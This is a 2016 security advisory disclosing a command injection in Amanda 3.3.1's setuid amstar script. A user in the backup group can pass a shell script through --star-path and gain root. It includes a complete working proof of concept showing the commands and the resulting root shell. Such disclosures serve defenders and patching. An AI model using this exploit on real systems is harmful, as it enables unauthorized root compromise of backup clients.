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Amanda 3.3.1 amstar Command Injection

🗓️ 16 Jan 2016 00:00:00Reported by Hacker FantasticType 
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Amanda 3.3.1 amstar Command Injection allows unauthorized users to run binaries with root permissions by manipulating command line arguments, compromising the security of the backup system.

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`AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup   
solution that allows the IT administrator to set up a single master backup  
server to back up multiple hosts over network to tape drives/changers or   
disks or optical media. Amanda uses native utilities and formats (e.g. dump  
and/or GNU tar) and can back up a large number of servers and workstations  
running multiple versions of Linux or Unix.   
  
A user with backup privs can trivially compromise a client installation.  
Amstar is an Amanda Application API script. It should not be run by users   
directly. It uses star to backup and restore data. It runs binaries with  
root permissions when parsing the command line arguement --star-path.   
  
Tested against Amanda 3.3.1. An example is shown below:  
  
$ id  
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)  
$ cat /tmp/runme.sh  
#!/bin/sh  
/bin/sh  
$ ls -al /usr/lib/amanda/application/amstar  
-rwsr-xr-- 1 root backup 31284 Jul 29 2012 /usr/lib/amanda/application/amstar  
$ /usr/lib/amanda/application/amstar restore --star-path=/tmp/runme.sh  
# id  
uid=0(root) gid=34(backup) groups=0(root),6(disk),26(tape),34(backup)  
# uname -a  
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux  
#  
  
-- Hacker Fantastic  
  
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16 Jan 2016 00:00Current
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Vulners AI Score0.2
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